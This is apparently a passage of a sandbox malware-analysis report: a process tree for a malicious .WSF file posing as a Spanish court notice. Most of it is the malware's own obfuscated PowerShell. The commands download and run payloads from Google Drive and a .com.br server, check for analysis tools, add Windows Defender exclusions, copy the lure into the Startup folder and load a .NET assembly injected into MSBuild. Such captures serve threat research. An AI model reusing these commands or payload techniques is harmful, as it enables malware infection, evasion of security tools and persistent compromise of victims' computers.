'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF');powershell $pypll
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      PID:5144
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:2828
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1236
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3044
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jcnzu.ps1"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        
        PID:6300
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:7024
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:7032
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
        6⤵
        
        PID:6308
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  PID:2812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 